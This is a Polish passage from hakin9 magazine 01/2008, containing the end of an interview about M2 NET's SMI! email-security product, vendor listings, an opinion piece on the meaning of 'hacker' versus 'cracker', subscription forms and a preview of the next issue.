ków. Widzimy, że obecnie wzrasta taka świadomość
i szczególnie na świecie klienci głównie pytają o za-
awansowanie filtrowanie treści (SMI! umożliwia wy-
łuskiwanie treści z różnorodnych załączników, w tym
wielokrotnie zagnieżdżonych) i kontrolę wycieku da-
nych, w dalszej kolejności istotna jest możliwość do-
łączania zastrzeżeń prawnych i archiwizacji poczty,
a dopiero potem ochrona przed złośliwym kodem
i niechcianą pocztą.

h9:

Czy produkty firmy rzeczywiście odznaczają się wy-

soką skutecznością?

MP-N:

Po pierwsze SMI! posiada innowacyjne mecha-

nizmy działające w warstwie połączenia, co powodu-
je, że jest w stanie blokować połączenia z adresów,
z których np. otrzymaliśmy zbyt wiele zainfekowanych
listów. Podobnie z reakcją na epidemie i zachowania
masowe – te funkcje wyróżniają nas spośród konku-
rencji i powodują, że skuteczność SMI! jest wyższa

niż innych programów tego typu. W dalszym aspek-
cie wpływa na to zastosowanie 23 technik antyspamo-
wych i 8 technik antywirusowych – bo chyba przema-
wia do każdego, że przeskanowanie tego samego li-
stu kilkoma silnikami podwyższy skuteczność. W na-
szych testach wyraźnie widać, ze nie ma idealnego sil-
nika antywirusowego i antyspamowego. Trzeba dobrać
ochronę antyspamową do charakteru spamu – podob-
nie nie zdarzyło się jeszcze nigdy, aby jeden silnik wy-
krył wszystkie kolekcjonowane przez nas wirusy, troja-
ny, robaki, riskware, spyware, adware.

h9:

Jeśli tak, co to potwierdza?

MP-N:

Porównanie z konkurencją. Często z nią wal-

czymy.Nasze i ich rozwiązania są poddawane tym sa-
mym testom w identycznym środowisku, ale to nasze
produkty wygrywają. Posiadamy także raporty firm do-
starczających nam technologii antyspamowych i anty-
wirusowych, które pokazują np. czasy reakcji na poja-
wienie się wirusów. Wahają się one od kilku minut do
kilkuset godzin. Na początku stawki i na końcu w róż-
nych miesiącach występują czasami te same silniki
– nie ma ideału. Tylko dywersyfikacja technologii może
poprawić poziom bezpieczeństwa.

h9:

Jak wygląda wsparcie techniczne, czy jest ono płatne?

MP-N:

Standardowo w licencji zawarta jest opieka

roczna, która obejmuje aktualizacje baz wirusów, fil-
trów antyspamowych, poprawki oprogramowania i po-
moc techniczną przez elektroniczne kanały komu-
nikacji. Można także za 18% wartości licencji wy-
kupić zaawansowany maintenance, który umożliwia
m. in. instalowanie wszystkich nowych wersji produk-
tów bez dodatkowych opłat, a także zapewnia po-
moc techniczną przez telefon. Mamy także podpisa-
nych kilka umów na świadczenie dedykowanej opie-
ki typu 24/7/365, ale warunki takiej opieki są ustala-
ne indywidualnie.

h9:

Czy każdy klient ma swojego opiekuna technicznego?

MP-N:

Tak, każdy klient otrzymuje bezpośredni kon-

takt do dwóch osób: opiekuna technicznego i opie-
kuna handlowego. Warto jednak zwrócić uwagę na
fakt, że siłą takich małych firm, jak nasza – która za-
trudnia kilkanaście osób – jest to, że klient nie mu-
si przebijać się przez setki automatycznych powital-
nych menu, a trafia bezpośrednio do działu wsparcia
czy działu sprzedaży. Co więcej, cały zespół zna te-
matykę ochrony poczty, bo specjalizujemy się w tym
zakresie. Klient nie tonie w bezładzie organizacji,
a ewentualne problemy są szybko eskalowane – zda-
rza się i tak, że osobiście interweniuję w niektórych
sprawach. Ważne jest także i to, że pomagamy klien-
tom nie tylko podczas instalacji oprogramowania,
z ewentualnymi kłopotami technicznymi czy też
w obsłudze programu, ale pomagamy utworzyć po-
litykę zabezpieczenia, reagujemy na ataki, których
doświadczają nasi klienci, przygotowujemy dla nich
specjalne wersje lub implementujemy specyficzne
zabezpieczenia.

hakin9 Nr 01/2008

www.hakin9.org

Wywiad

h9:

Czy jeśli klient zamówi określone oprogramowanie

czy też wdrożenie, będzie mógł liczyć na szkolenia?

MP-N:

Oczywiście, standardowo każdy klient może za

darmo uczestniczyć w sesjach szkoleniowych organizo-
wanych przez naszą firmę. Każdemu możemy asysto-
wać w instalacji produktu poprzez telefon lub zdalny de-
sktop. Mamy także ofertę kilku szkoleń komercyjnych
– od zaawansowanej obsługi oprogramowania (np. kla-
strowania, replikacji itp.), poprzez szkolenia tworzenia
polityk zabezpieczeń, a skończywszy na szkoleniach
z tematyki nieco szerzej rozumianego bezpieczeństwa
systemów IT.

h9:

Z jakiego języka programowania korzystają progra-

miści firmy przy pisaniu aplikacji?

MP-N:

Większość bibliotek oraz natywna integracja

z serwerami wymaga tego, by korzystać z C i C++,
ale wiele filtrów i obsługa logiki aplikacji wykonane są
w języku Java 1.5. Interfejs administracyjny przygo-
towany jest jako wielowarstwowa aplikacja Java uru-
chamiana na serwerze Apache Tomcat, korzystają-
ca z interaktywnych mechanizmów AJAX. Fragmenty
korzystają ze skompilowanej przez nas wersji Perl-a,
a wersja dla Microsoft Exchange wykorzystuje miej-
scami C#.

h9:

Na firmowej stronie WWW znajdujemy informację

o obsługiwanych systemach. Czy w tych mniej popular-
nych zdarzają się jakieś problemy z działaniem progra-
mów?

MP-N:

Wersje dla wszystkich systemów operacyjnych

staramy się testować w ten sam sposób. Nie jest ta-
jemnicą, że np. Solaris czy AIX są nieco mniej popular-
ne, ale w takich przypadkach korzystamy z infrastruk-
tury producentów tych systemów i pomocy naszych
partnerów. Codziennie wykorzystujemy centra danych
w Londynie i w Warszawie, a także korzystamy szero-
ko z usług użytkowników, testujących wersje beta na-
szych systemów.

h9:

Czy przedsiębiorstwa chętnie stosują produkty firmy,

i czy ich opinie są pozytywne?

MP-N:

No cóż, tak jak wspomniałem wcześniej, wyda-

je się, że chętniej wykorzystują nasze pudełkowe opro-
gramowanie firmy spoza Polski, choć w przypadku apli-
kacji dedykowanych tworzonych na potrzeby biznesu
i administracji rządowej jest odwrotnie. Myślę, że naj-
lepszą oceną jakości produktów i świadczonych przez
nas usług jest fakt, że nasi klienci kilkukrotnie przedłu-
żają wieloletnie umowy subskrypcji i opieki serwiso-
wej, a także kilkukrotnie ci sami klienci zlecają nam no-
we zadania. Niestety, zdarza się czasami, że klienci re-
zygnują z naszych rozwiązań na rzecz produktów firmy
numer 1 lub 2 na świecie, ale wydaje się, że decyzje ta-
kie mają czasami pozamerytoryczną przyczynę.

h9:

Co przemawia za korzystaniem z produktów firmy M2

NET S.A.?

MP-N:

Chyba najważniejsza jest możliwość zwiększe-

nia dokładności analizy ruchu pocztowego, zdywersy-
fikowania źródeł zabezpieczeń, zaufania firmie wysoko

wyspecjalizowanej, otwartej na nowe pomysły i szyb-
ko reagującej na zmiany. Istotna jest możliwość bez-
pośredniego kontaktu, elastyczność i innowacja, którą
cechują się nasi pracownicy. Warto podkreślić, że cena
naszych produktów jest podobna do rozwiązań jedno-
silnikowych, a łatwość wdrożenia i obsługi programów
nie wymaga zaawansowanej wiedzy. Staramy się, aby
temat bezpieczeństwa został wyrwany z rąk guru i tra-
fił pod strzechy. Chcemy, żeby wysoko wyspecjalizo-
wane produkty mogły być obsługiwane przez zwykłych
administratorów.

h9:

Jak produkty M2 NET S.A. wypadają na tle konku-

rencji?

MP-N:

Nasz udział w rynku jest mały. Docieramy głów-

nie do wielkich firm, w których zabezpieczenie jedno-
silnikowe jest niewystarczające. Proszę sobie wyobra-
zić, że wśród firm korzystających z naszego oprogra-
mowania są takie przedsiębiorstwa, gdzie chronimy kil-
kaset serwerów i kilkadziesiąt tysięcy użytkowników!
Małe i średnie firmy preferują dobrze znane marki,
trudno nam z nimi wygrać. Niestety, nie możemy sobie
pozwolić na szeroką kampanię promocyjna, bo nasz
budżet na razie w 80-90 procentach pochłania R&D
i konieczność nadążania za zmieniającą się charakte-
rystyką ataków. W chwili obecnej wyróżnia nas wyższa
funkcjonalność i większa dokładność kontroli poczty.

h9:

W jaki sposób firma postrzega środowisko specjali-

stów IT?

MP-N:

Bez tych osób, bez ich pomysłów, wiedzy, czę-

sto doświadczenia, trudno byłoby nam stworzyć produk-
ty, które mogłyby realnie zabezpieczyć infrastrukturę na-
szych klientów.

h9:

Jakie akcje dla specjalistów IT Państwo przeprowa-

dzają?

MP-N:

Głównie ich poszukujemy i zatrudniamy, ale stara-

my się także dzielić z nimi wiedzą podczas licznych kon-
ferencji i wykładów, w których uczestniczą nasi pracow-
nicy.

h9:

Czy planujecie jakieś specjalne oferty, gratisowe na-

rzędzia itp.?

MP-N:

Obecnie istnieją tylko demonstracyjne wersje na-

szych produktów, ale dla różnych organizacji non-pro-
fit oferujemy darmowe wersje. Pracujemy nad wersją
bezpłatną naszych produktów, ale niestety cykl wydaw-
niczy nowych wersji zablokował wydanie ich w tym ro-
ku. Wszystko wskazuje na to, że pod koniec pierwsze-
go kwartału przyszłego roku, a najpóźniej w drugim, wy-
damy darmowe wersje całej serii SMI! Co do specjalnych
ofert, to cały czas mamy rabat 30% dla instytucji związa-
nych z edukacją.

h9:

Jak M2 NET S.A. ocenia hakin9 jako medium umoż-

liwiające dotarcie do specjalistów IT?

MP-N:

hakin9, to według nas ważne czasopismo dostar-

czające rzetelnej wiedzy specjalistycznej, z której sami
także korzystamy.

h9:

Dziękujemy za rozmowę.

MP-N:

Dziękuję.

CCNS

Działalność firmy skoncentrowana jest
wokół hasła zapewnienia pełnego bez-
pieczeństwa funkcjonowania Klienta
w realiach współczesnej gospodarki.
Jako Expert Partner firmy WatchGuard
Inc. oferujemy kompleksowe rozwiąza-
nia bezpieczeństwa sieci i systemów
informatycznych obejmujące nowo-
czesne urządzenia typu Unified Thre-
at Management, niezawodny serwis
i szeroki wachlarz szkoleń.

Prenumerata Pro

Media

Systems

Firma Media Systems oferuje Państwu
profesjonalny system CashBill.pl,
umożliwiający zarządzanie usługami
SMS Premium Rate w sektorze B2B
i B2C. Oferujemy również szeroki
wachlarz usług mikropłatniczych,
płatności elektronicznych oraz indywi-
dualne, dedykowane rozwiązania przy
budowie aplikacji mobilnych.

TTS Company Sp. z o.o.

Oprogramowanie komputerowe - sprze-
daż, dystrybucja oraz import na zamó-
wienie. W ofercie programy autorstwa
ponad stu firm z całego świata. Zapra-
szamy do współpracy - zostań naszym
klientem lub dostawcą.

Zepter IT

Zepter IT to dynamicznie rozwijają-
ca się firma, specjalizująca się w re-
alizacji projektów informatycznych.
Oferujemy rozwiązania dla biznesu
i zarządzania takie jak systemy ERP
czyli zarządzanie zasobami firmy, pod-
noszenie jakości i obniżanie kosztów.
Zepter IT świadczy również usługi in-
ternetowe - serwisy www, e-commer-
ce, tworzenie aplikacji internetowych
oraz systemów zarządzania treścią.

Petrosoft

Partner Microsoft Bussiness Solutions
Dynamics GP. Budowa sklepów inter-
netowych, serwisów WWW, prezentacji
multimedialnych. Budowa sieci LAN,
WAN, telekomunikacyjnych. Telefonia
stacjonarna, VoiceIP. Usługi outsor-
cingowe dla dużych firm z zakresu
informatyki i telekomunikacji. Opro-
gramowanie na zamówienia. Dostawa
serwerów, sprzętu, oprogramowania.

www.OprogramowanieKomputerowe.pl

www.ccns.pl

38-200 Jasło, ul. 3 Maja 101

Biuro: (13) 44 66 666

biuro@petrosoft.pl

www.zepterit.com

kontakt do nas:

katarzyna.juszczynska@software.com.pl

robert.gontarski@software.com.pl

tel. : 22 427 36 77

Enigma SOI

Głównym przedmiotem działalności fir-
my jest produkcja, wdrażanie i sprze-
daż systemów służących do ochrony
informacji.

• elektroniczna skrzynka podawcza
• centra certyfikacji kluczy
• podpis elektroniczny i szyfrowanie

na serwerach i stacjach klienckich

• zabezpieczanie stacji lokalnych
• karty elektroniczne i czytniki

www.enigma.com.pl

hakin9 Nr 01/2008

www.hakin9.org

lie

astoletni haker włamał się do firmy, hakerzy
atakują nasze e-maile, hakerzy przejmują Twój
komputer, hakerzy znaleźli 'dziurę' w systemie

operacyjnym – takie i podobne teksty można przeczy-
tać w prasie i usłyszeć w TV. W Niemczech wprowadza
się nawet specyficzne przepisy anty-hakerskie.

Wszystkie takie informacje wrzucane są do jedne-

go worka, a dla przeciętnego użytkownika komputera
słowo haker ma negatywne konotacje. Stało się ono
modne i wręcz nadużywane.

Haker jest to osoba, która posiada bardzo szero-

ką wiedzę informatyczną i która potrafi ją wykorzystać
w celu znalezienia dziur w systemach informatycznych.
Osoba ta dzieli się swoją wiedzą i chętnie pomaga
innym użytkownikom, a co najważniejsze, swoim dzia-
łaniem nie szkodzi.

Trzeba też pamiętać, że to hakerzy przyczynili się

do ekspansji oprogramowania Open Source. To oni
stoją za tym, że każdego miesiąca dostajesz popraw-
ki do swojego ulubionego systemu operacyjnego. Ale
o tym jakoś nikt nie mówi. Nikt nie wspomina też, że to
dzięki nim Twoje ciężko zarobione pieniądze są coraz
bezpieczniejsze na kontach. Nawet Twoja sieć osiedlo-
wa jest bezpieczniejsza dzięki temu, że hakerzy moty-
wują administratorów do lepszego jej zabezpieczania.

Naturalnie, kwestia nie jest taka prosta. W grupie

hakerów występuje podział na black hats, white hats
i grey hats. Do pierwszej z nich zaliczamy osoby, które
wyszukują błędy w systemach i nie dzielą się tą
wiedzą, tylko tworzą oprogramowanie umożliwiające
wykorzystanie odkrytych luk. Do drugiej grupy nato-
miast wliczamy osoby, które szukają luk bezpieczeń-
stwa i po ich znalezieniu dzielą się z szerszą grupą
ludzi, którzy mogą pomóc w zlikwidowaniu błędów
w systemie. Natomiast ostatnia już grupa to po
prostu ci, którzy łączą w sobie cechy black hats
i white hats.

Przykładem włamania dokonanego z pozytyw-

nych przesłanek było wejście na serwer Apache.org
w wykonaniu Petera van Dijka i Franka van Vlieta w
maju 2000. Osoby te włamały się na serwer, opisa-
ły krok po kroku wszystko, co zrobiły i pozostawiły
administratorom serwera wiadomość, co zrobić, aby

Czy wszyscy są hakerami?

go lepiej zabezpieczyć. Mogli przecież użyć serwera
do zainfekowania tysięcy komputerów. I to jest jeden
z najbardziej szczytnych przykładów działań hake-
rów. Na dodatek administratorzy Apache.org napisa-
li podziękowania dla nich za pomoc w lepszym zabez-
pieczeniu systemu.

Natomiast inna osobą jest cracker. To użytkow-

nik, który włamuje się na serwery w celu zniszcze-
nia czegoś lub dla osiągnięcia korzyści materialnych.
Osoba taka działa niezgodnie z prawem. Jej celem nie
jest pomoc nikomu, tylko własny zysk. Trzeba przy tym
pamiętać, że crackerzy to naprawdę inteligentni ludzie,
którzy potrafią dużo zrobić za pomocą komputera
i nawet w ich nieetycznym działaniu można doszukać
się pozytywnych przesłanek.

Oczywiście można się ze mną sprzeczać i mówić,

że brak mi obiektywizmu, ponieważ nic na tym świe-
cie nie jest czarne lub białe. Ale czasami cel uświęca
środki. Przykładowo: ostatnio przeczytałem w pra-
sie, jak przedstawiciel pewnej firmy odpowiadający za
najbardziej popularny pakiet biurowy powiedział, że
zawiesza się on ze względów bezpieczeństwa. Cóż,
czytając coś takiego, zastanawiam się jak można
w taki sposób traktować użytkowników swojego pro-
gramu. Często wypuszczane są systemy operacyjne,
które mają być superbezpieczne i dawać nam kom-
fort spokojnej pracy. A jak wiemy często jest zupełnie
inaczej. Zwykły człowiek nie jest w stanie tego wykryć
i przetestować. I tutaj właśnie z pomocą przychodzą
hakerzy, którzy próbują wskazać producentowi okre-
ślone luki w systemie aby ten mógł zostać lepiej zabez-
pieczony. Czasami nie wystarczy pokazać monopo-
liście, że gdzieś jest błąd, ponieważ uważa on, że
wszystko działa bez zastrzeżeń i nic nie trzeba napra-
wiać. Ale cóż – to już zupełnie inna historia…

Niestety, za nadużywanie terminu haker odpowia-

dają w dużym stopniu media, ponieważ to one przy
każdej możliwej okazji wykorzystują to słowo nie zwra-
cając uwagi na jego właściwe znaczenie Apeluję,
więc, do wszystkich: zastanówcie się, zanim nazwie-
cie kogoś hakerem czy crackerem, ponieważ zawsze
możecie go urazić, nie zdając sobie sprawy, o czym tak
naprawdę mówicie. l

Rafał Bednarski gandalfblu@gmail.com

Tytuł

Ilość numerów

w roku

Ilość zamawianych

prenumerat

Od numeru pisma

lub miesiąca

Opłata w zł

z VAT

hakin9 (1 płyta CD)

Miesięcznik o bezpieczeństwie i hakingu

900

Dodatkowy drukowany egzemplarz

W sumie

(liczba prenumerat x cena)

Formularz zamówienia prenumeraty

Dane osoby / firmy zamawiającej

Imię i nazwisko

Stanowisko

ID kontrahenta*

* jeżeli jesteś już klientem firmy Software-Wydawnictwo Sp. z o.o. – wystarczy, że podasz swój numer ID kontrahenta; jeżeli nie posiadasz takiego numeru, podaj swe dane teleadresowe

Upoważniam firmę Software-Wydawnictwo Sp. z o.o. do wystawienia faktury VAT bez podpisu odbiorcy

Pieczęć firmy i podpis

Nazwa firmy

Dokładny adres

Telefon (wraz z numerem kierunkowym)

Faks (wraz z numerem kierunkowym)

Adres e-mail

Numer NIP firmy

Prosimy wypełnić czytelnie i przesłać faksem na numer:

(22) 427 36 69

lub listownie na adres: Software-Wydawnictwo Sp. z o.o.,

Bokserska 1, 02-682 Warszawa,

e-mail: pren@software.com.pl

Przyjmujemy też zamówienia telefoniczne:

(22) 427 36 79

UWAGA: Nadesłanie zamówienia jest jednocześnie zobowiązaniem do zapłaty.

w w w . b u y i t p r e s s . c o m . p l

Prenumerata korporacyjna hakin9 pozwoli Ci

na dowolne powielenie i rozpowszechnianie pisma

w obrębie Twojej firmy

Numer konta: NORDEA BANK POLSKA 46 1440 1299 0000 0000 0391 8238

W ramach prenumeraty korporacyjnej otrzymają Państwo:

1. Pismo w wersji elektronicznej

2. Dwa dodatkowe egzemplarze w wersji drukowanej

3. CD-ROM zawierający archiwum wszystkich numerów z 2006 roku

Zaprenumeruj swoje ulubione magazyny

i zamów archiwalne numery!

Już teraz w kilka minut możesz zaprenumerować swoje ulubione pismo.
Gwarantujemy:

- preferencyjne ceny
- bezpieczną płatność on-line
- szybką realizację Twojego zamówienia
Bezpieczna prenumerata on-line wszystkich tytułów Wydawnictwa Software!

www.buyitpress.com

zamówienie prenumeraty

Prosimy wypełnić czytelnie i przesłać faksem na numer:

(22) 427 36 69 lub listownie na adres: Software-Wydawnictwo Sp. z o.o.,

Bokserska 1, 02-682 Warszawa, e-mail: pren@software.com.pl. Przyjmujemy też zamówienia telefoniczne:

(22) 427 36 79

Imię i nazwisko............................................................................................ ID kontrahenta..........................................................................................

Nazwa firmy................................................................................................. Numer NIP firmy.......................................................................................

Dokładny adres....................................................................................................................................................................................................................

Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) ....................................................

E-mail (niezbędny do wysłania faktury)............................................................................................................................................................................

zamówienie prenumeraty

Cena prenumeraty rocznej dla osób prywatnych

Cena prenumeraty rocznej dla osób prenumerujących już Software Developer’s Journal lub Linux+

Cena prenumeraty dwuletniej Aurox Linux

Jeżeli chcesz zapłacić kartą kredytową, wejdź na

stronę naszego sklepu internetowego:

www.buyitpress.com

automatyczne przedłużenie prenumeraty

Suma

Tytuł

Ilość

numerów

Ilość

zamawianych

prenumerat

Od numeru

pisma lub

miesiąca

Opłata

w zł

z VAT

Software Developer’s Journal (1 płyta CD)

– dawniej Software 2.0

Miesięcznik profesjonalnych programistów

250/180

SDJ Extra

(od 1 do 4 płyt CD lub DVD)

– dawniej Software 2.0 Extra!

Numery tematyczne dla programistów

150/135

Linux+DVD (2 płyty DVD)

Miesięcznik o systemie Linux

199/179

Linux+Extra! (od 1 do 7 płyt CD lub DVD)

Numery specjalne z najpopularniejszymi dystrybucjami Linuksa

232/198

PHP Solutions (1 płyta CD)

Dwumiesięcznik o zastosowaniach języka PHP

135

hakin9, jak się obronić (1 płyta CD)

Miesięcznik o bezpieczeństwie i hakingu

199

/219

.psd (2 płyty CD)

Miesięcznik użytkowników programu Adobe Photoshop

140

.psd numery specjalne

(.psd Extra + .psd Starter Kit)

140

Aktualne informacje o najbliższym numerze

http://www.hakin9.org/pl
Numer w sprzedaży na początku lutego 2008 r.

Redakcja zastrzega sobie prawo zmiany zawartości pisma.

hakin9

02/2008

w następnym numerze

między innymi:

Zapowiedzi

Komórkowy malware

– zagrożenia i sposoby zapobiegania

Telefony komórkowe, które korzystają z systemu Windows Mobile, są wygod-
ne w użyciu i coraz bardziej zyskują na popularności. Ale też coraz czę-
ściej stają się celem ataku twórców malware'u. Dlatego też konieczne jest
korzystanie ze swojego telefonu z rozwagą i uwagą. Zhu Cheng przedsta-
wia zagrożenia czyhające na użytkowników oraz sposoby, jak się przed nimi
obronić.

Hashlimit

Jednym ze znakomitych sposobów dozbrajania oraz poszerzania funkcjo-
nalności firewall, jest korzystanie z łatki hashlimit. Możliwości, jakie ona
oferuje, są ograniczone jedynie wyobraźnią administratora.

W artykule rozwiązanie to zostanie przedstawione oraz przetestowane

w rzeczywistym środowisku, które obsługuje sieć na kilka tysięcy klientów
z dostępem do Internetu (lokalny ISP). Konfigurować będziemy główny ro-
uter, a zarazem firewall, który kontroluje ruch internetowy indywidualnych
klientów oraz serwera usługowego z zainstalowanymi usługami www/ftp/
mail/dns/ssh i Verlihub.

Bezpieczeństwo

teleinformatyczne danych osobowych

System informatyczny, w którym przetwarzane są dane osobowe,
powinien oprócz wymagań wynikających z przepisów prawa uwzględ-
niać wymagania Generalnego Inspektora Ochrony Danych Osobowych
w zakresie struktur baz danych osobowych oraz funkcjonalności zarzą-
dzających nimi aplikacji. Artykuł Andrzeja Guzika zawiera przydatne
informacje, jak zapewnić bezpieczeństwo danym osobowym, które prze-
twarzane są w takim systemie.

NA CD:

• hakin9.live – bootowalna dystrybucja Linuksa,
• mnóstwo narzędzi – niezbędnik hakera,
• tutoriale – praktyczne ćwiczenia zagadnień poruszanych w artykułach,
• dodatkowa dokumentacja,
• pełne wersje komercyjnych aplikacji.

Obrona

Bezpieczna

Firma

Wyszukiwarka

Podobne podstrony:
Hakin9 33 (01 2008) PL
Hakin9 36 (04 2008) PL
Hakin9 35 (03 2008) PL
Hakin9 38 (06 2008) PL
Hakin9 21 (01 2007) PL
Hakin9 34 (02 2008) PL
Hakin9 37 (05 2008) PL
Hakin9 40 (09 2008) PL
Charaktery 01 2008 PL
hakin9 07 08 2008 pl
Charaktery 01 2008 PL
Hakin9 37 (05 2008) PL
Hakin9 21 (01 2007) PL
Hakin9 36 (04 2008) PL
Hakin9 35 (03 2008) PL
Hakin9 40 (09 2008) PL
Hakin9 38 (06 2008) PL
2008 01 04 PL procedura odzyskiwania oryginalnego oprogramowania

więcej podobnych podstron